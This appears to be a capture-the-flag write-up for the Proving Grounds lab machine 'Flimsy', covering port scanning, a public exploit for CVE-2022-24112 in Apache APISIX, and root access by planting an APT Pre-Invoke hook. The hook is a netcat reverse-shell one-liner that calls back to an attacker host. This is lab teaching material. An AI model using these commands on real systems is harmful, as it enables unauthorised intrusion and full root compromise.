Skip to content
HackIndex.io

Flimsy Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

Flimsy runs Apache APISIX 2.8 behind OpenResty on port 43500. That version is vulnerable to CVE-2022-24112, a remote code execution that gives a low-privileged shell. A root cron job runs apt-get update and /etc/apt/apt.conf.d is writable, so an APT Pre-Invoke hook runs a root reverse shell.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp    open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Upright
3306/tcp  open  mysql   MySQL (unauthorized)
43500/tcp open  http    OpenResty web app server
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Port 43500 runs an OpenResty web server. A nikto scan fingerprints it as Apache APISIX 2.8, which is below 2.12.1 and vulnerable to CVE-2022-24112.

Exploitation

Apache APISIX RCE (CVE-2022-24112)

CVE-2022-24112 abuses the batch-requests plugin to bypass the admin API's IP restriction and run Lua code. Clone the public exploit, start a listener, and run it against the APISIX port.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.
┌──(kali㉿kali)-[~]
└─$ python3 apisix-exploit.py http://$TARGET_IP:43500/ $ATTACKER_IP $ATTACKER_PORT
Explain command
(args) Target APISIX URL, attacker IP, and attacker port for the reverse shell.

The listener catches a low-privileged shell. Upgrade to a TTY, then enumerate for privilege escalation, for example with linpeas, which flags that root runs apt-get update on a schedule and that /etc/apt/apt.conf.d is writable.

Privilege Escalation

APT Pre-Invoke cron abuse

APT runs any command in an APT::Update::Pre-Invoke hook before updating. Because the config directory is writable and root runs apt-get update on a cron, drop a hook that calls back a shell. Start a listener, then write the hook.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ echo 'APT::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f"}' > /etc/apt/apt.conf.d/pwn 
connect to [$ATTACKER_IP] from $TARGET_IP
# id
uid=0(root) gid=0(root) groups=0(root)

When the root cron runs apt-get update, the Pre-Invoke hook fires as root and returns a root shell.

Related

Cron Job Privilege Escalation
Blog

Cron Job Privilege Escalation

Exploit misconfigured cron jobs running as root to escalate privileges via writable scripts, PATH hi...
Cron Jobs and Scheduled Tasks Enumeration on Linux
Blog

Cron Jobs and Scheduled Tasks Enumeration on Linux

Enumerate cron jobs, systemd timers, and scheduled tasks on Linux to identify misconfigurations or p...
Linux Reverse Shell Payloads and One-Liners
Blog

Linux Reverse Shell Payloads and One-Liners

Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing rem...

References